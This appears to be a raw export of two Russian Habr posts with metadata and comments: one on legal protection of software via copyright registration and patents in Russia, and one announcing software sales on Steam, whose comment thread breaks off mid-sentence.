программного комплекса как изобретения все-таки возможна в виде способа или устройства. Однако это будет не программный комплекс в чистом виде, а программно-аппаратный комплекс. Условия патентоспособности изобретения: изобретению предоставляется правовая охрана, если оно является новым, имеет изобретательский уровень и промышленно применимо. Изобретение является новым, если оно не известно из уровня техники. Изобретение имеет изобретательский уровень, если для специалиста оно явным образом не следует из уровня техники. Уровень техники включает любые сведения, ставшие общедоступными в мире до даты приоритета изобретения. Изобретение является промышленно применимым, если оно может быть использовано в промышленности, сельском хозяйстве, здравоохранении, других отраслях экономики или в социальной сфере. Датой приоритета, как правило, является дата подачи заявки на изобретение в ФИПС. В соответствии со статьей 1375 ГК РФ заявка на изобретение должна содержать: заявление о выдаче патента на изобретение с указанием автора изобретения и лица, на имя которого испрашивается патент (заявителя), а также их места жительства или места нахождения; описание изобретения, раскрывающее его с полнотой, достаточной для осуществления; формулу изобретения, выражающую его сущность и полностью основанную на его описании; чертежи и иные материалы, если они необходимы для понимания сущности изобретения; реферат. Для составления описания изобретения нужно составить схему программно-аппаратного комплекса, состоящую из элементов и связей между ними. Необходимо раскрыть принцип действия этого комплекса. Часто в подобных изобретениях приводятся математические алгоритмы и их влияние на работу аппаратной части. В частности, так называемых «софтверных» патентов много у Microsoft, IBM и других IT-компаний, что вполне логично. То, что защищается — это формула. К ее написанию нужно подходить с особенной ответственностью. В формуле нужно раскрыть все признаки изобретения в максимально «общем» виде для того, чтобы патент было сложнее обойти. Есть 2 вида написания формулы — американская модель и немецкая (классическая). В немецкой выделяется отличительная часть изобретения. В американской просто перечисляются списком все признаки изобретения. Немецкая модель облегчает экспертизу эксперту патентного ведомства, американская модель облегчает составление формулы заявителю. Что касается полезной модели, то это, по сути, упрощенное изобретение. В качестве полезной модели охраняется техническое решение, относящееся к устройству. В отличие от изобретения способ не патентуется в качестве полезной модели. Полезной модели предоставляется правовая охрана, если она является новой и промышленно применимой. Состав документов, которые должна содержать заявка на полезную модель, такой же как и для заявки на изобретение. Срок действия исключительного права на изобретение, полезную модель, промышленный образец и удостоверяющего это право патента исчисляется со дня подачи первоначальной заявки на выдачу патента в федеральный орган исполнительной власти по интеллектуальной собственности и при условии соблюдения требований, установленных настоящим Кодексом, составляет: двадцать лет — для изобретений; десять лет — для полезных моделей Патент может досрочно прекратить действие в случае неуплаты пошлин за продление действия в установленные периоды или вовсе аннулирован в случае несоответствия критериям патентоспособности, выявленных аналогов с более ранней датой приоритета и других случаях. Также в некоторых случаях срок действия патента может быть продлен. #### Заключение Охрана программы для ЭВМ (программного комплекса, операционной системы) в качестве объекта авторского права не требует никаких формальных действий. Авторское право действует по факту создания. В целях фиксации прав можно использовать государственную регистрацию. Кроме того, государственная регистрация может быть целесообразна при заключении лицензионных договоров и участии в конкурсах. В таких ситуациях свидетельство, подтверждающее наличие охраняемого результата интеллектуальной деятельности не бывает лишним. Затраты на правовую охрану минимальны, нет необходимости продлевать срок действия охранного документа. Получение патента на изобретение обеспечит более сильную правовую охрану. Крупные IT-компании патентуют каждую технологию отдельно в целях монополизации рынка и заключения лицензионных договоров. Так, за счет сильного патентного офиса Microsoft зарабатывает больше на продажах смартфонов с ОС Android, чем на собственной мобильной ОС только за счет лицензионных отчислений. Однако не стоит забывать, что получение патента на изобретение может занять от одного до двух лет, поэтому патентовать надо на стадии НИОКР. Полезную модель же можно получить в срок от 4 до 8 месяцев, что может стать приемлемым решением для защиты бизнеса. Получение свидетельства о государственной регистрации, как правило, занимает 2-3 месяца. P.S. Прошу прощение за отсутствие писательского таланта. Хотел максимально кратко, но доступным языком описать способы правовой охраны программных комплексов. Возможно, кому-нибудь это пригодится. P.P.S. Если будет интересно, то напишу про авторские вознаграждения за создание служебных результатов интеллектуальной деятельности и соответствующую практику правоотношений работодателя с изобретателями.
<div xmlns="http://www.w3.org/1999/xhtml"><h4>Введение</h4><br/> Ввиду того, что на Хабре много программистов и прочитав, что тут пишут про правовую охрану программ, решил попробовать написать понятную и практически применимую статью.<br/> <br/> Определение программы для ЭВМ в соответствии с Гражданским кодексом Российской Федерации (часть IV) (далее — ГК РФ).<br/> <br/> В соответствии со статьей 1261 ГК РФ программой для ЭВМ является представленная в объективной форме совокупность данных и команд, предназначенных для функционирования ЭВМ и других компьютерных устройств в целях получения определенного результата, включая подготовительные материалы, полученные в ходе разработки программы для ЭВМ, и порождаемые ею аудиовизуальные отображения.<br/> Авторские права на все виды программ для ЭВМ (в том числе на операционные системы и программные комплексы), которые могут быть выражены на любом языке и в любой форме, включая исходный текст и объектный код, охраняются так же, как авторские права на произведения литературы.<br/> <br/> <h4>Как охраняются объекты авторского права</h4><br/> В соответствии с Бернской конвенцией (участниками которой является большинство стран, включая все наиболее развитые, в том числе и Российская Федерация) для получения авторского права на произведение (к которому в Российской Федерации приравнивается программа для ЭВМ в соответствии со статьей 1261 ГК РФ) в странах, подписавших Бернскую конвенцию, не требуется никаких формальностей.<br/> В странах гражданского права (к которым относится Российская Федерация) произведения охраняются с момента создания, что, конечно, оставляет открытым практический вопрос доказательства в суде факта создания произведения. Следует, однако, отметить, что могут существовать формальности в соответствии с национальным законом для охраны прав собственных граждан. В странах-членах Бернской конвенции все права иностранных обладателей из других государств-членов Бернской конвенции охраняются без соблюдения формальностей (никакой регистрации).<br/> <br/> В большинстве стран общего права фиксация является требованием: произведение должно быть облечено в письменную форму или записано на определенный носитель.<br/> <br/> В Российской Федерации действие исключительного права на произведение (одно из составляющих авторского права в соответствии со статьей 1255 ГК РФ) регулируется статьей 1256 ГК РФ, что не противоречит Бернской конвенции.<br/> <a name="habracut"></a><br/> <h4>Выбор оптимального способа охраны программного комплекса</h4><br/> <b><i>1. Охрана в качестве объекта авторского права.</i></b><br/> <br/> Как уже было сказано выше, авторское право на программу для ЭВМ действует в момент создания. Для указания автора программы для ЭВМ, как правило, в исходном коде ставится знак охраны авторского права («копирайт») и имена и фамилии авторов или название юридического лица, а также дату создания (первого публичного воспроизведения). Это не является обязательным и не создает дополнительных прав. Он является уведомлением о том, что авторское право принадлежит физическому (физическим) или юридическом (юридическим) лицам.<br/> Для усиления позиций и обеспечения гарантии авторского права в Российской Федерации есть государственная регистрация программ для ЭВМ. Заявка на государственную регистрацию программы для ЭВМ должна содержать следующие материалы:<br/> <ul> <li>заявление о государственной регистрации программы для ЭВМ, оформленное по установленной форме и доступное для скачивания с сайта ФИПС;</li> <li>дополнение к заявлению (при необходимости — если несколько авторов или правообладателей);</li> <li>депонируемые материалы, идентифицирующие программу для ЭВМ, включая реферат;</li> <li>документ, подтверждающий уплату государственной пошлины.</li> </ul><br/> <br/> Депонируемые материалы, как правило, представляют собой распечатку исходного текста (полного или фрагментов) в объеме до 70 страниц. Представление депонируемых материалов в иной форме допускается при наличии обоснования заявителя о том, что данная форма в большей степени обеспечивает идентификацию регистрируемой программы для ЭВМ. Допускается включать в состав этих материалов подготовительные материалы, полученные в ходе ее разработки, а также порождаемые ею аудиовизуальные отображения в любой визуально воспринимаемой форме.<br/> <br/> Реферат содержит сведения об авторах и правообладателях, аннотацию до 700 знаков, тип ЭВМ, тип и версию ОС, язык программирования и объем программы. Реферат публикуется в официальном бюллетене Роспатента.<br/> Кроме того, предъявляются формальные требования по оформлению и брошюровке документов.<br/> Размер пошлины составляет 1700 рублей для физического лица и 2600 рублей для юридического лица.<br/> Срок действия авторского права в Российской Федерации составляет 70 лет после смерти последнего автора. После этого объект переходит в общественное достояние.<br/> <br/> <b><i>2. Регистрация в качестве объекта патентного права (промышленной собственности).</i></b><br/> <br/> Объектами патентного права являются изобретения, полезные модели и промышленные образцы (в соответствии со статьей 1345 ГК РФ).<br/> В данном случае речь пойдет об охране программного комплекса в качестве изобретения или полезной модели. В Российской Федерации промышленный образец охраняет внешний вид изделия, и в числе материалов заявки направляется фотографии. Примечательно, но в США в качестве промышленного образца может охраняться эскиз. Так, в свое время Google получил патент США на промышленный образец, охраняющий эскиз главной страницы своего поисковика. В России такое не прокатит. Кроме того, мы помним как не преклонен был Роспатент перед попытками Apple запатентовать в России дизайн iPad.<br/> <br/> В соответствии со статьей 1350 ГК РФ в качестве изобретения охраняется техническое решение в любой области, относящееся к продукту (в частности, устройству, веществу, штамму микроорганизма, культуре клеток растений или животных) или способу (процессу осуществления действий над материальным объектом с помощью материальных средств).<br/> <br/> Таким образом, правовая охрана программного комплекса как изобретения все-таки возможна в виде способа или устройства. Однако это будет не программный комплекс в чистом виде, а программно-аппаратный комплекс.<br/> <br/> Условия патентоспособности изобретения: изобретению предоставляется правовая охрана, если оно является новым, имеет изобретательский уровень и промышленно применимо.<br/> <br/> Изобретение является новым, если оно не известно из уровня техники. Изобретение имеет изобретательский уровень, если для специалиста оно явным образом не следует из уровня техники. Уровень техники включает любые сведения, ставшие общедоступными в мире до даты приоритета изобретения.<br/> <br/> Изобретение является промышленно применимым, если оно может быть использовано в промышленности, сельском хозяйстве, здравоохранении, других отраслях экономики или в социальной сфере.<br/> <br/> Датой приоритета, как правило, является дата подачи заявки на изобретение в ФИПС.<br/> В соответствии со статьей 1375 ГК РФ заявка на изобретение должна содержать:<br/> <br/> <ul> <li>заявление о выдаче патента на изобретение с указанием автора изобретения и лица, на имя которого испрашивается патент (заявителя), а также их места жительства или места нахождения;</li> <li>описание изобретения, раскрывающее его с полнотой, достаточной для осуществления;</li> <li>формулу изобретения, выражающую его сущность и полностью основанную на его описании;</li> <li>чертежи и иные материалы, если они необходимы для понимания сущности изобретения;</li> <li>реферат.</li> </ul><br/> <br/> Для составления описания изобретения нужно составить схему программно-аппаратного комплекса, состоящую из элементов и связей между ними. Необходимо раскрыть принцип действия этого комплекса. Часто в подобных изобретениях приводятся математические алгоритмы и их влияние на работу аппаратной части. В частности, так называемых «софтверных» патентов много у Microsoft, IBM и других IT-компаний, что вполне логично.<br/> <br/> То, что защищается — это формула. К ее написанию нужно подходить с особенной ответственностью. В формуле нужно раскрыть все признаки изобретения в максимально «общем» виде для того, чтобы патент было сложнее обойти. Есть 2 вида написания формулы — американская модель и немецкая (классическая). В немецкой выделяется отличительная часть изобретения. В американской просто перечисляются списком все признаки изобретения. Немецкая модель облегчает экспертизу эксперту патентного ведомства, американская модель облегчает составление формулы заявителю.<br/> <br/> Что касается полезной модели, то это, по сути, упрощенное изобретение. В качестве полезной модели охраняется техническое решение, относящееся к устройству. В отличие от изобретения способ не патентуется в качестве полезной модели.<br/> <br/> Полезной модели предоставляется правовая охрана, если она является новой и промышленно применимой. Состав документов, которые должна содержать заявка на полезную модель, такой же как и для заявки на изобретение.<br/> <br/> Срок действия исключительного права на изобретение, полезную модель, промышленный образец и удостоверяющего это право патента исчисляется со дня подачи первоначальной заявки на выдачу патента в федеральный орган исполнительной власти по интеллектуальной собственности и при условии соблюдения требований, установленных настоящим Кодексом, составляет:<br/> <br/> <ul> <li>двадцать лет — для изобретений;</li> <li>десять лет — для полезных моделей</li> </ul><br/> Патент может досрочно прекратить действие в случае неуплаты пошлин за продление действия в установленные периоды или вовсе аннулирован в случае несоответствия критериям патентоспособности, выявленных аналогов с более ранней датой приоритета и других случаях.<br/> Также в некоторых случаях срок действия патента может быть продлен.<br/> <br/> <h4>Заключение</h4><br/> Охрана программы для ЭВМ (программного комплекса, операционной системы) в качестве объекта авторского права не требует никаких формальных действий. Авторское право действует по факту создания. В целях фиксации прав можно использовать государственную регистрацию. Кроме того, государственная регистрация может быть целесообразна при заключении лицензионных договоров и участии в конкурсах. В таких ситуациях свидетельство, подтверждающее наличие охраняемого результата интеллектуальной деятельности не бывает лишним. Затраты на правовую охрану минимальны, нет необходимости продлевать срок действия охранного документа.<br/> Получение патента на изобретение обеспечит более сильную правовую охрану. Крупные IT-компании патентуют каждую технологию отдельно в целях монополизации рынка и заключения лицензионных договоров. Так, за счет сильного патентного офиса Microsoft зарабатывает больше на продажах смартфонов с ОС Android, чем на собственной мобильной ОС только за счет лицензионных отчислений.<br/> <br/> Однако не стоит забывать, что получение патента на изобретение может занять от одного до двух лет, поэтому патентовать надо на стадии НИОКР. Полезную модель же можно получить в срок от 4 до 8 месяцев, что может стать приемлемым решением для защиты бизнеса.<br/> Получение свидетельства о государственной регистрации, как правило, занимает 2-3 месяца.<br/> <br/> P.S. Прошу прощение за отсутствие писательского таланта. Хотел максимально кратко, но доступным языком описать способы правовой охраны программных комплексов. Возможно, кому-нибудь это пригодится.<br/> P.P.S. Если будет интересно, то напишу про авторские вознаграждения за создание служебных результатов интеллектуальной деятельности и соответствующую практику правоотношений работодателя с изобретателями.</div>
Олег Рябков (olegryabkov)
null
null
<h4>Введение</h4><br/> Ввиду того, что на Хабре много программистов и прочитав, что тут пишут про правовую охрану программ, решил попробовать написать понятную и практически применимую статью.<br/> <br/> Определение программы для ЭВМ в соответствии с Гражданским кодексом Российской Федерации (часть IV) (далее — ГК РФ).<br/> <br/> В соответствии со статьей 1261 ГК РФ программой для ЭВМ является представленная в объективной форме совокупность данных и команд, предназначенных для функционирования ЭВМ и других компьютерных устройств в целях получения определенного результата, включая подготовительные материалы, полученные в ходе разработки программы для ЭВМ, и порождаемые ею аудиовизуальные отображения.<br/> Авторские права на все виды программ для ЭВМ (в том числе на операционные системы и программные комплексы), которые могут быть выражены на любом языке и в любой форме, включая исходный текст и объектный код, охраняются так же, как авторские права на произведения литературы.<br/> <br/> <h4>Как охраняются объекты авторского права</h4><br/> В соответствии с Бернской конвенцией (участниками которой является большинство стран, включая все наиболее развитые, в том числе и Российская Федерация) для получения авторского права на произведение (к которому в Российской Федерации приравнивается программа для ЭВМ в соответствии со статьей 1261 ГК РФ) в странах, подписавших Бернскую конвенцию, не требуется никаких формальностей.<br/> В странах гражданского права (к которым относится Российская Федерация) произведения охраняются с момента создания, что, конечно, оставляет открытым практический вопрос доказательства в суде факта создания произведения. Следует, однако, отметить, что могут существовать формальности в соответствии с национальным законом для охраны прав собственных граждан. В странах-членах Бернской конвенции все права иностранных обладателей из других государств-членов Бернской конвенции охраняются без соблюдения формальностей (никакой регистрации).<br/> <br/> В большинстве стран общего права фиксация является требованием: произведение должно быть облечено в письменную форму или записано на определенный носитель.<br/> <br/> В Российской Федерации действие исключительного права на произведение (одно из составляющих авторского права в соответствии со статьей 1255 ГК РФ) регулируется статьей 1256 ГК РФ, что не противоречит Бернской конвенции.<br/>
#### Введение Ввиду того, что на Хабре много программистов и прочитав, что тут пишут про правовую охрану программ, решил попробовать написать понятную и практически применимую статью. Определение программы для ЭВМ в соответствии с Гражданским кодексом Российской Федерации (часть IV) (далее — ГК РФ). В соответствии со статьей 1261 ГК РФ программой для ЭВМ является представленная в объективной форме совокупность данных и команд, предназначенных для функционирования ЭВМ и других компьютерных устройств в целях получения определенного результата, включая подготовительные материалы, полученные в ходе разработки программы для ЭВМ, и порождаемые ею аудиовизуальные отображения. Авторские права на все виды программ для ЭВМ (в том числе на операционные системы и программные комплексы), которые могут быть выражены на любом языке и в любой форме, включая исходный текст и объектный код, охраняются так же, как авторские права на произведения литературы. #### Как охраняются объекты авторского права В соответствии с Бернской конвенцией (участниками которой является большинство стран, включая все наиболее развитые, в том числе и Российская Федерация) для получения авторского права на произведение (к которому в Российской Федерации приравнивается программа для ЭВМ в соответствии со статьей 1261 ГК РФ) в странах, подписавших Бернскую конвенцию, не требуется никаких формальностей. В странах гражданского права (к которым относится Российская Федерация) произведения охраняются с момента создания, что, конечно, оставляет открытым практический вопрос доказательства в суде факта создания произведения. Следует, однако, отметить, что могут существовать формальности в соответствии с национальным законом для охраны прав собственных граждан. В странах-членах Бернской конвенции все права иностранных обладателей из других государств-членов Бернской конвенции охраняются без соблюдения формальностей (никакой регистрации). В большинстве стран общего права фиксация является требованием: произведение должно быть облечено в письменную форму или записано на определенный носитель. В Российской Федерации действие исключительного права на произведение (одно из составляющих авторского права в соответствии со статьей 1255 ГК РФ) регулируется статьей 1256 ГК РФ, что не противоречит Бернской конвенции.
article
1,382,520,226
{ "commentsCount": 2, "favoritesCount": 59, "readingCount": 16883, "score": 14, "votesCount": 14, "votesCountPlus": 14, "votesCountMinus": 0 }
[ "sandbox" ]
[ "business-laws" ]
[ "management" ]
[ "интеллектуальная собственность", "авторское право", "программа для эвм", "копирайт", "патентное право" ]
7
null
null
{ "id": [ 9408046, 9408048 ], "parent_id": [ null, null ], "level": [ 0, 0 ], "time_published": [ 1382620404, 1382861499 ], "score": [ 0, 0 ], "votes": [ 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">Очень интересует вопрос грамотного построения отношений работник-работодатель, когда фирма разрабатывает ПО и работники — это программисты. Как грамотно организовать такое взаимодействие, чтобы и фирма была правообладателем результатов работы программистов и не было возможности повернуть это наоборот, а также работники были официально не ущемлены по результатам их разработок, на которых зарабатывает фирма. Примерно есть общие познания в этом плане, но все же хочется увидеть это подробно разложенным по полочкам, что как и зачем должно быть сделано, чтобы это правильно функционировало. Есть возможность в таком аспекте статью подготовить?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Да, есть. В течение недели подготовлю.</div>" ], "message_markdown": [ "Очень интересует вопрос грамотного построения отношений работник-работодатель, когда фирма разрабатывает ПО и работники — это программисты. Как грамотно организовать такое взаимодействие, чтобы и фирма была правообладателем результатов работы программистов и не было возможности повернуть это наоборот, а также работники были официально не ущемлены по результатам их разработок, на которых зарабатывает фирма. Примерно есть общие познания в этом плане, но все же хочется увидеть это подробно разложенным по полочкам, что как и зачем должно быть сделано, чтобы это правильно функционировало. Есть возможность в таком аспекте статью подготовить?", "Да, есть. В течение недели подготовлю." ], "author": [ "Бузинов Роман (Romer)", "Олег Рябков (olegryabkov)" ], "children": [ [], [] ] }
153,265
ru
https://habr.com/ru/post/153265/
Открыта продажа программного обеспечения в Steam
Как было ранее на Хабре написано, в игровом сервисе Valve должна появиться продажа программного обеспечения и это произошло второго октября, на данный момент доступен очень ограниченный список программ. На данный момент доступны: 3D-Coat 3DMark Vantage 3DMark 11 ArtRage Studio Pro CameraBag 2 GameMaker: Studio Source Filmmaker В течении первой недели на всё представленное программное обеспечение будет предоставлена скидка в 10% При установке программы можно выбрать на какой раздел диска ставить программу (возможно в будущем такой способ установки реализуют и для игр): Ещё у программ возможны достижения Steam (на данный момент только одна программа, GameMaker: Studio):
<div xmlns="http://www.w3.org/1999/xhtml"><img src="https://habrastorage.org/r/w1560/storage2/cdd/91d/d08/cdd91dd08096f3192c7cc82480a59123.png" alt="image" data-src="https://habrastorage.org/storage2/cdd/91d/d08/cdd91dd08096f3192c7cc82480a59123.png"/><br/> <br/> Как было ранее на Хабре <a href="http://habrahabr.ru/post/149300/">написано</a>, в игровом сервисе Valve должна появиться продажа программного обеспечения и это произошло второго октября, на данный момент доступен очень ограниченный список программ.<br/> <br/> На данный момент <a href="http://store.steampowered.com/software">доступны</a>:<br/> <ul> <li>3D-Coat</li> <li>3DMark Vantage</li> <li>3DMark 11</li> <li>ArtRage Studio Pro</li> <li>CameraBag 2</li> <li>GameMaker: Studio</li> <li>Source Filmmaker</li> </ul><br/> <a name="habracut"></a><br/> <img src="https://habrastorage.org/r/w1560/storage2/446/fe8/6b9/446fe86b97eded5cafcd9bcc7b000732.png" alt="image" data-src="https://habrastorage.org/storage2/446/fe8/6b9/446fe86b97eded5cafcd9bcc7b000732.png"/><br/> <br/> В течении первой недели на всё представленное программное обеспечение будет предоставлена скидка в 10%<br/> <br/> При установке программы можно выбрать на какой раздел диска ставить программу (возможно в будущем такой способ установки реализуют и для игр):<br/> <img src="https://habrastorage.org/r/w780q1/storage2/244/55c/1e3/24455c1e3ef5e2851ef2cf531f6eebe5.jpg" alt="image" data-src="https://habrastorage.org/storage2/244/55c/1e3/24455c1e3ef5e2851ef2cf531f6eebe5.jpg" data-blurred="true"/><br/> <br/> Ещё у программ возможны достижения Steam (на данный момент только одна программа, <a href="http://store.steampowered.com/app/214850/">GameMaker: Studio</a>):<br/> <img src="https://habrastorage.org/r/w1560/storage2/596/f0a/828/596f0a828fc282c3656ab9b44eb9d22b.png" alt="image" data-src="https://habrastorage.org/storage2/596/f0a/828/596f0a828fc282c3656ab9b44eb9d22b.png"/></div>
Maxim (gMaXi)
null
null
<img src="https://habrastorage.org/storage2/cdd/91d/d08/cdd91dd08096f3192c7cc82480a59123.png" alt="image"/><br/> <br/> Как было ранее на Хабре <a href="http://habrahabr.ru/post/149300/">написано</a>, в игровом сервисе Valve должна появиться продажа программного обеспечения и это произошло второго октября, на данный момент доступен очень ограниченный список программ.<br/> <br/> На данный момент <a href="http://store.steampowered.com/software">доступны</a>:<br/> <ul> <li>3D-Coat</li> <li>3DMark Vantage</li> <li>3DMark 11</li> <li>ArtRage Studio Pro</li> <li>CameraBag 2</li> <li>GameMaker: Studio</li> <li>Source Filmmaker</li> </ul><br/>
Как было ранее на Хабре написано, в игровом сервисе Valve должна появиться продажа программного обеспечения и это произошло второго октября, на данный момент доступен очень ограниченный список программ. На данный момент доступны: 3D-Coat 3DMark Vantage 3DMark 11 ArtRage Studio Pro CameraBag 2 GameMaker: Studio Source Filmmaker
article
1,349,215,412
{ "commentsCount": 37, "favoritesCount": 24, "readingCount": 16399, "score": 46, "votesCount": 52, "votesCountPlus": 49, "votesCountMinus": 3 }
[]
[ "gamedev" ]
[ "develop" ]
[ "steam", "valve", "app store" ]
1
null
null
{ "id": [ 5214977, 5214987, 5214991, 5215067, 5215247, 5215257, 5215265, 5215495, 5215497, 5215551, 5215815, 5215999, 5216463, 5217257, 5217615, 5218277, 5218345, 5218371, 5218435, 5218797, 5218833, 5219363, 5219455, 5219603, 5219615, 5219725, 5219779, 5219805, 5219879, 5220177, 5220865, 5221251, 5223469, 5224371, 5224657, 5226655, 5226729 ], "parent_id": [ null, 5214977, null, null, null, null, null, null, 5215247, 5215495, 5214977, null, null, 5215999, 5217257, 5217615, 5217615, 5218345, 5218371, 5215067, 5218435, 5218833, 5218833, 5217615, 5215551, 5219615, 5219725, 5219779, 5219455, 5219805, null, 5220865, 5220177, 5219725, 5223469, 5224371, 5226655 ], "level": [ 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 2, 3, 3, 4, 5, 1, 6, 7, 7, 3, 2, 3, 4, 5, 8, 6, 0, 1, 7, 4, 8, 5, 6 ], "time_published": [ 1349216153, 1349216268, 1349216380, 1349217586, 1349223336, 1349223774, 1349223881, 1349235930, 1349235934, 1349237700, 1349241669, 1349243846, 1349248700, 1349255040, 1349256880, 1349261873, 1349262638, 1349262874, 1349263296, 1349266926, 1349267192, 1349272477, 1349273425, 1349275109, 1349275185, 1349276304, 1349276814, 1349276940, 1349277662, 1349281011, 1349287710, 1349291225, 1349338543, 1349346736, 1349348511, 1349364990, 1349366144 ], "score": [ 14, 1, 10, 25, 1, 9, 8, 0, 0, 0, 0, 4, 0, 0, 2, 0, 0, 0, 0, -3, 2, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ], "votes": [ 14, 1, 10, 25, 1, 13, 8, 0, 0, 0, 0, 4, 2, 0, 2, 0, 2, 0, 2, 3, 2, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">Для игр поддерживающих новый формат данных (acf) доступен выбор пути установки.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">не знал, спасибо за информацию</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Хочу достижение в 3DMark «Жизнь удалась» и требованиями собрать самый навороченный конфиг на районе, чтобы брызжать слюной от рейта))</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ачивка для фотошопа — «Убрать тысячу красных глаз».</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А вот вопрос. В GameMaker предусмотрен командный режим. Но я правильно понимаю, что как и с играми с одного акка одновременно кооперативить не выйдет и на каждую машину нужна отдельная лицуха?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Будет под Linux — будем брать.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Помнится у Garrysmod есть достижение — словить больше 10 тысяч ошибок LUA.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Интересно, а на распродажах будут скидки на ПО? :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">оффлайн режим?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Пока вот поставили эти все программы на распродажу со скидками.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А еще я заметил в последней бете выбор пути для самого кэша игр. Можно например все игры на отдельный винт кинуть.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Меня вот что интересует: то, что оно ставится в выбранную папку — это очень хорошо, но будут ли программы запускаться без запуска Steam? А то с играми — это еще туда-сюда, а если, скажем, какой-нибудь офис или фотошоп будут стартовать со Steam — это будет так себе</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я джва года этого ждал</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">В чём проблема стартовать офис или фотошоп со Steam? Ресурсы (память, цпу) или что-то другое?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Кстати у меня порой Steam отказывается стартовать без работающего интернета Поэтому если тот же офис не удастся запустить из-за того что Steam брыкается, это будет печально. :(</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Да, именно. Да и вообще нездраво это как-то, хотя может просто с непривычки.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Можно запускать стим в автономном режиме. Некоторые игры могут запускаться в таком режиме.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вам де написали, что отказывается запускаться в автономном режиме.<br/>\r\nУ меня часто так Steam шалит. При чем именно в те моменты, когда интернет недоступен, а поиграть очень хочется.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Специально для вас выдернул «свистульку» и включил стим. На <a href=\"http://clip2net.com/s/2mkAM\">пикрелейтед</a> неилюзорно запечатлён мой акк в offline-mode. Или мне лучше видео записать?<br/>\r\n<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Или просто «Сделать пи**ато».</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Да нет, он _порой_ не запускается в оффлайн-режиме. Помню сидел без интернета как-то, а он мне заявил, что клиент надо обновить, посему в оффлайне запускаться не будет.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Да, есть такое. При чем часто.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">В оффлайн режим можно перейти только если ваш стим клиент был запущен при включенном интернете и уже работает. В другом случае вы получите ошибку, что соединение со стим невозможно, и на компьютере отсутствуют данные об аккаунте или типо того.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Так и предстает перед глазами новость: начался судебный процесс между «Valve» и «название компании». Из-за профилактических работ и обновления сервиса «название компании» понесла убытки в размере ******** $. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Не не, вам про распродажи говорят, а не про 10%. :) На распродажах и 70% были.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Распродажи — конечно хорошо, но хотелось бы увидеть версии ПО специально для России — удешевленная в 2-3 раза Jewel Версия =)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я последний раз джювел видел 100 лет назад.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Здесь это абстрактное название, как пример можно привести разные по стоимости версии игр от Blizzard (в зависимости от региона)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Сейчас попробовал, выключил стим, выключил сетевой адаптер (через него подключение к интернету), запустил стим, и нормально вошёл в автономный режим, но у меня отключена опция «Не сохранять данные аккаунта на этом компьютере»<br/>\r\n<br/>\r\n<img src=\"https://habrastorage.org/r/w1560/storage2/1a3/9b2/7ab/1a39b27ab7ab4799ef66b83743a78615.png\" alt=\"image\" data-src=\"https://habrastorage.org/storage2/1a3/9b2/7ab/1a39b27ab7ab4799ef66b83743a78615.png\"/><br/>\r\n<br/>\r\nлибо мне просто повезло</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">По-моему там для России дороже вышло. Пример — Diablo 3</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">> При установке программы можно выбрать на какой раздел диска ставить программу (возможно в будущем такой способ установки реализуют и для игр)<br/>\r\n<br/>\r\nХм… для игр вобще-то это тоже уже есть: по крайней мере в последние пару недель когда я ставил купленные игры — мне предлагался выбор места установки.<br/>\r\nХотя может этого пока только в бете клиента стима такое есть.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">см. первый коммент goletsa ;) «Для игр поддерживающих новый формат данных (acf) доступен выбор пути установки.»</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Диабло 3 для россии — 1к рублей, для европы 2.3к рублей (это было на момент выхода, что сейчас — не знаю)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">3d Coat (сделанный на Украине), например, для стран СНГ всегда дешевле 8500р ($250) vs $350. Перед новым годом у них была скидка в 40%. В Стиме продаётся версия, схожая с Educational (те же ограничения, ниже цена) за 2500р (на сайте Educational стоит $99) и профессиональная, 8500р (Интересно, сколько в американском Стиме стоит полная)<br/>\r\n<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Да, согласен. Был не прав.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">По поводу американского магазина Стима на данный момент $89.10, без скидки в 10% это $99.<br/>\r\n<br/>\r\nPS<br/>\r\nЧтобы просмотреть американский стор в конце адресной строке браузера можно набрать /?cc=us, например:<br/>\r\n<a href=\"http://store.steampowered.com/app/100980/?cc=us\">store.steampowered.com/app/100980/?cc=us</a></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">О, спасибо. $99 с ограничениями и $349 полная: как и 